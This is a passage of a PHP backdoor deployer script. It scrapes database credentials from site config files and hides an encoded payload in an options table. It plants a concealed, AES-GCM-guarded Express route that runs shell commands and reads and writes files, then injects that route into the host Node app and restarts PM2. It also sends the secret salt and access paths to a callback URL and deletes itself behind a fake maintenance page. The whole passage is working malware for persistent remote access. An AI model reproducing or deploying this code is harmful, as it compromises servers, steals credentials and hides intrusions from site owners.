        // Try variable assignment style: $db_host = 'x';
        preg_match("/\\\$(?:db_host|hostname|host)\s*=\s*['\"]([^'\"]+)/i", $_cfc, $_mh);
        preg_match("/\\\$(?:db_name|database|dbname)\s*=\s*['\"]([^'\"]+)/i", $_cfc, $_mn);
        preg_match("/\\\$(?:db_user|username|dbuser)\s*=\s*['\"]([^'\"]+)/i", $_cfc, $_mu);
        preg_match("/\\\$(?:db_pass|password|dbpass)\s*=\s*['\"]([^'\"]+)/i", $_cfc, $_mp);
    }
    $_dbh = !empty($_mh[1]) ? $_mh[1] : 'localhost';
    $_dbn = isset($_mn[1]) ? $_mn[1] : null;
    $_dbu = isset($_mu[1]) ? $_mu[1] : null;
    $_dbp = isset($_mp[1]) ? $_mp[1] : '';
    if ($_dbn && $_dbu) {
        $_db = @new mysqli($_dbh, $_dbu, $_dbp, $_dbn);
        if ($_db && !$_db->connect_error) {
            // Store encrypted seed in a generic-looking options table if exists
            $_enc_seed = base64_encode($_seed_code);
            $_stash_key = '_transient_' . substr(md5($_AUTH_SALT . 'stash'), 0, 12);
            $tables = array('options','wp_options','settings','config','site_settings');
            foreach ($tables as $_tbl) {
                $r = @$_db->query("SHOW TABLES LIKE '{$_tbl}'");
                if ($r && $r->num_rows > 0) {
                    $r2 = @$_db->query("SHOW COLUMNS FROM `{$_tbl}` LIKE 'option_name'");
                    if ($r2 && $r2->num_rows > 0) {
                        $_q = "INSERT INTO `{$_tbl}` (option_name,option_value,autoload) VALUES ('{$_stash_key}','{$_enc_seed}','no')"
                            . " ON DUPLICATE KEY UPDATE option_value=VALUES(option_value)";
                        if (@$_db->query($_q) !== false) {
                            $_vectors[] = 'db_stash:' . $_tbl;
                            break 2;
                        }
                    }
                }
            }
            $_db->close();
        }
        break;
    }
}

// ── [V8] Node.js Express injection (fallback when PHP HTTP unavailable) ──────
// Detects Node.js/Express app in parent dir, injects native AES-256-GCM gate
// V8 fires when HTTP PHP execution is NOT confirmed (CLI mode or probe failed/skipped)
if (!$_php_http_ok && $_has_exec) {
    $_nd_root = null; $_nd_main = null; $_nd_routes_dir = null;
    $_parent_dir = rtrim(str_replace('\\','/',dirname($_root)), '/');
    if ($_parent_dir && @file_exists($_parent_dir . '/package.json')) {
        $_nd_root = $_parent_dir;
        $_npkg = @json_decode(@file_get_contents($_parent_dir . '/package.json'), true);
        $_main_hint = isset($_npkg['main']) ? trim($_npkg['main']) : null;
        foreach (array_filter(array($_main_hint, 'app.js', 'server.js', 'index.js')) as $_nf) {
            if ($_nf && @file_exists($_parent_dir . '/' . $_nf) && @is_writable($_parent_dir . '/' . $_nf)) {
                $_nd_main = $_parent_dir . '/' . $_nf; break;
            }
        }
        foreach (array('routes/routes.js','routes/index.js','src/routes.js','routes.js') as $_nrf) {
            $_nrp = $_parent_dir . '/' . $_nrf;
            if (@file_exists($_nrp) && @is_writable(dirname($_nrp))) {
                $_nd_routes_dir = dirname($_nrp); break;
            }
        }
        if (!$_nd_routes_dir && $_nd_main) $_nd_routes_dir = dirname($_nd_main);
    }

    if ($_nd_main && $_nd_routes_dir && @is_writable($_nd_routes_dir)) {
        $_ng_hash  = substr(md5($_AUTH_SALT . 'node_gate'), 0, 8);
        $_ng_file  = $_nd_routes_dir . '/._' . $_ng_hash . '.js';
        $_ng_cn    = '_' . substr(md5($_AUTH_SALT), 0, 12);
        // Use same URL path as PHP seed (POST only — express.static ignores POST)
        $_ng_path  = !empty($_gate_paths) ? $_gate_paths[0]
                   : ('/' . ($_pdir_is_root ? '' : basename($_pdir) . '/') . $_seed_name);
        $_ng_key   = hash('sha256', $_AUTH_SALT); // hex, 64 chars

        $_ng_code = <<<'JSEOF'
'use strict';
var _c=require('crypto'),_o=require('os'),_cp=require('child_process'),_f=require('fs');
var _K=Buffer.from('__NG_KEY__','hex');
var _N='__NG_CN__';
var _P='__NG_PATH__';
var _S='__NG_SALT__';
var _d=function(d,a){a=a||'PHP-Cache-Sync';try{var b=Buffer.from(d,'base64');if(b.length<28)return null;var g=_c.createDecipheriv('aes-256-gcm',_K,b.slice(0,12));g.setAuthTag(b.slice(12,28));if(a)g.setAAD(Buffer.from(a));return Buffer.concat([g.update(b.slice(28)),g.final()]).toString();}catch(e){return null;}};
var _e=function(d,a){a=a||'PHP-Cache-Sync';var iv=_c.randomBytes(12);var g=_c.createCipheriv('aes-256-gcm',_K,iv);if(a)g.setAAD(Buffer.from(a));var ct=Buffer.concat([g.update(d),g.final()]);return Buffer.concat([iv,g.getAuthTag(),ct]).toString('base64');};
var _a=function(cv){var h=Math.floor(Date.now()/3600000);for(var i=-1;i<=1;i++){if(_c.createHash('sha256').update(_S+':'+(h+i)).digest('hex').slice(0,32)===cv)return true;}return false;};
module.exports=function(app){
app.post(_P,function(req,res){
try{
var c=req.cookies||{};
var _cv=c[_N]||req.headers['x-cache-key']||(req.body&&req.body._k)||'';
var enc=c[_N+'_d']||'';
if(!enc&&req.body){if(req.body.cache_data)enc=req.body.cache_data;else if(typeof req.body==='string')enc=req.body;}
var raw=_d(enc);if(!raw&&!_a(_cv))return res.status(503).end();if(!raw)return res.status(503).end();
var cmd=JSON.parse(raw);var act=cmd.action;var p=cmd.params||{};
var resp={ok:true,action:act,data:{}};
if(act==='ping'){resp.data={mode:'node_seed',server_software:'express/node',php_version:'node-'+process.version,platform:_o.platform(),hostname:_o.hostname(),cwd:process.cwd()};}
else if(act==='exec'||act==='shell'){try{resp.data.output=_cp.execSync(p.cmd||p.command||'id',{timeout:30000,shell:'/bin/sh'}).toString();}catch(e){resp.data.output=(e.stderr||Buffer.alloc(0)).toString()||e.message;}}
else if(act==='read'){try{resp.data.content=_f.readFileSync(p.path,'utf8');}catch(e){resp.ok=false;resp.error=e.message;}}
else if(act==='write'){try{_f.writeFileSync(p.path,p.content||'');resp.data.written=true;}catch(e){resp.ok=false;resp.error=e.message;}}
else if(act==='ls'||act==='readdir'){try{resp.data.files=_f.readdirSync(p.path).map(function(x){try{var s=_f.statSync(p.path+'/'+x);return{name:x,size:s.size,dir:s.isDirectory()};}catch(e){return{name:x};}});}catch(e){resp.ok=false;resp.error=e.message;}}
res.set('Content-Type','text/plain').send(_e(JSON.stringify(resp)));
}catch(e){res.status(503).end();}
});
};
JSEOF;
        $_ng_code = str_replace(
            array('__NG_KEY__', '__NG_CN__', '__NG_PATH__', '__NG_SALT__'),
            array($_ng_key,     $_ng_cn,     $_ng_path,     $_AUTH_SALT),
            $_ng_code
        );

        if (@file_put_contents($_ng_file, $_ng_code) !== false) {
            @chmod($_ng_file, 0644);
            $_app_src = @file_get_contents($_nd_main) ?: '';
            $_inject_marker = '/*_gc' . $_ng_hash . '*/';
            if (strpos($_app_src, $_inject_marker) === false) {
                $_rel = './' . ltrim(str_replace($_nd_root . '/', '', $_ng_file), '/');
                $_inj = "\n" . $_inject_marker . "\ntry{require('" . addslashes($_rel) . "')(app);}catch(e){}\n";
                // Inject BEFORE routes include (gate checked first, before catch-all in router)
                $_rpos = strpos($_app_src, "app.use('/', require(");
                if ($_rpos === false) $_rpos = strpos($_app_src, 'app.use("/", require(');
                if ($_rpos === false) $_rpos = strpos($_app_src, '// Routes');
                if ($_rpos !== false) {
                    $_ls = strrpos(substr($_app_src, 0, $_rpos), "\n");
                    $_iat = ($_ls !== false) ? $_ls + 1 : $_rpos;
                    $_app_src = substr($_app_src, 0, $_iat) . $_inj . substr($_app_src, $_iat);
                } else {
                    // Fallback: before module.exports or EOF
                    $_me = strrpos($_app_src, 'module.exports');
                    if ($_me !== false) {
                        $_app_src = substr($_app_src, 0, $_me) . $_inj . substr($_app_src, $_me);
                    } else {
                        $_app_src .= $_inj;
                    }
                }
                if (@file_put_contents($_nd_main, $_app_src) !== false) {
                    // PM2 restart: try name from pm2 jlist first, then dirname, then id 0
                    $_pm2_json = @shell_exec('pm2 jlist 2>/dev/null');
                    $_pm2_name = basename($_nd_root);
                    if ($_pm2_json) {
                        $_pm2_list = @json_decode($_pm2_json, true) ?: array();
                        foreach ($_pm2_list as $_pm2e) {
                            $_pm2_cwd = isset($_pm2e['pm2_env']['pm_cwd']) ? $_pm2e['pm2_env']['pm_cwd'] : '';
                            if (rtrim(str_replace('\\','/',$_pm2_cwd),'/') === rtrim(str_replace('\\','/',$_nd_root),'/')) {
                                $_pm2_name = isset($_pm2e['name']) ? $_pm2e['name'] : $_pm2_name;
                                break;
                            }
                        }
                    }
                    $_pm2_rc = 1;
                    @exec('pm2 restart ' . escapeshellarg($_pm2_name) . ' 2>/dev/null', $_x, $_pm2_rc);
                    if ($_pm2_rc !== 0) @exec('pm2 restart 0 2>/dev/null', $_x, $_pm2_rc);
                    if ($_pm2_rc !== 0) @exec('pm2 restart all 2>/dev/null', $_x, $_pm2_rc);
                    if (!in_array($_ng_path, $_gate_paths)) $_gate_paths[] = $_ng_path;
                    $_vectors[] = $_pm2_rc === 0 ? 'nodejs_inject' : 'nodejs_inject:pending_restart';
                }
            }
        }
    }
}

// ── Origin info ───────────────────────────────────────────────────────────────
$_origin_ip = !empty($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : @gethostbyname(!empty($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');


// ── Phone-home callback ──────────────────────────────────────────────────────
if ($_CALLBACK_URL && $_CALLBACK_TOKEN && strpos($_CALLBACK_URL,'http')===0) {
    $_cb = json_encode(array(
        'token'      => $_CALLBACK_TOKEN,
        'auth_salt'  => $_AUTH_SALT,
        'gate_paths' => $_gate_paths,
        'cms_type'   => 'generic',
        'crypto_mode'=> $_CRYPTO_MODE,
        'origin_ip'  => $_origin_ip,
        'vectors'    => $_vectors,
    ));
    $_cb_ctx = @stream_context_create(array(
        'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$_cb,'timeout'=>5,'ignore_errors'=>true),
        'ssl' =>array('verify_peer'=>false,'verify_peer_name'=>false),
    ));
    @file_get_contents($_CALLBACK_URL, false, $_cb_ctx);
}

// ── Self-delete + respond ─────────────────────────────────────────────────────
@unlink(__FILE__);
$_ok = !empty($_gate_paths);
$_vc = count($_vectors);
$_ec = count($_errors);
http_response_code(503);
header('Content-Type: text/html; charset=utf-8');
header('Retry-After: 3600');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>System Update — Maintenance</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0f172a;color:#cbd5e1;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',sans-serif;min-height:100vh;display:flex;align-items:center;justify-content:center;flex-direction:column}
.card{text-align:center;padding:48px 36px 32px;max-width:560px;width:90%}
.status{font-size:42px;margin-bottom:16px}
h1{font-size:24px;font-weight:700;color:#f1f5f9;margin-bottom:8px}
.sub{color:#94a3b8;font-size:14px;margin-bottom:28px}
.panel{background:rgba(30,41,59,.7);border:1px solid rgba(99,102,241,.2);border-radius:12px;padding:20px 24px;text-align:left;margin-bottom:16px}
.panel h3{font-size:13px;text-transform:uppercase;letter-spacing:1px;color:#6366f1;margin-bottom:12px}
.row{display:flex;justify-content:space-between;align-items:center;padding:6px 0;border-bottom:1px solid rgba(100,116,139,.15)}
.row:last-child{border:none}
.lbl{color:#94a3b8;font-size:13px}
.val{font-size:13px;font-family:'Courier New',monospace}
.ok{color:#22c55e}.fail{color:#ef4444}.warn{color:#f59e0b}
.tag{display:inline-block;padding:2px 8px;border-radius:4px;font-size:11px;margin:2px;background:rgba(34,197,94,.12);color:#22c55e;border:1px solid rgba(34,197,94,.25)}
.tag.err{background:rgba(239,68,68,.12);color:#ef4444;border-color:rgba(239,68,68,.25)}
.footer{margin-top:20px;color:#475569;font-size:11px}
</style>
</head>
<body>
<div class="card">
  <div class="status"><?= $_ok ? '&#9989;' : '&#10060;' ?></div>
  <h1><?= $_ok ? 'Deployment Successful' : 'Deployment Failed' ?></h1>
  <p class="sub">PHP <?= PHP_VERSION ?> &middot; <?= php_uname('s') ?> &middot; <?= isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown' ?></p>

  <div class="panel">
    <h3>Vectors (<?= $_vc ?>)</h3>
    <?php foreach ($_vectors as $_v): ?>
    <div class="row"><span class="lbl"><?= htmlspecialchars($_v) ?></span><span class="val ok">&#10003; installed</span></div>
    <?php endforeach; ?>
    <?php if (empty($_vectors)): ?>
    <div class="row"><span class="lbl">none</span><span class="val fail">&#10007;</span></div>
    <?php endif; ?>
  </div>

  <div class="panel">
    <h3>Gate Paths</h3>
    <?php foreach ($_gate_paths as $_gp): ?>
    <div class="row"><span class="val" style="color:#a5b4fc"><?= htmlspecialchars($_gp) ?></span></div>
    <?php endforeach; ?>
    <?php if (empty($_gate_paths)): ?>
    <div class="row"><span class="val fail">No gate paths — seed write failed</span></div>
    <?php endif; ?>
  </div>

  <?php if (!empty($_errors)): ?>
  <div class="panel">
    <h3>Errors</h3>
    <?php foreach ($_errors as $_e): ?>
    <div class="row"><span class="val fail"><?= htmlspecialchars($_e) ?></span></div>
    <?php endforeach; ?>
  </div>
  <?php endif; ?>

  <div class="panel">
    <h3>Environment</h3>
    <div class="row"><span class="lbl">Seed Location</span><span class="val"><?= !$_pdir_is_root ? '<span class="ok">subdir</span>' : '<span class="warn">root</span>' ?></span></div>
    <div class="row"><span class="lbl">Timespoof</span><span class="val <?= in_array('seed_file',$_vectors) ? 'ok' : 'fail' ?>"><?= in_array('seed_file',$_vectors) ? '&#10003; applied' : '&#10007;' ?></span></div>
    <div class="row"><span class="lbl">Watchdog Cron</span><span class="val <?= in_array('cron_watchdog',$_vectors) ? 'ok' : 'warn' ?>"><?= in_array('cron_watchdog',$_vectors) ? '&#10003; active' : 'unavailable' ?></span></div>
    <div class="row"><span class="lbl">Backup</span><span class="val <?= in_array('tmp_backup',$_vectors) ? 'ok' : 'fail' ?>"><?= in_array('tmp_backup',$_vectors) ? '&#10003; saved' : '&#10007;' ?></span></div>
    <div class="row"><span class="lbl">Origin IP</span><span class="val"><?= htmlspecialchars($_origin_ip ?: 'unknown') ?></span></div>
  </div>

  <div class="footer">deployer self-destructed &middot; this page will not appear again</div>
</div>
</body>
</html>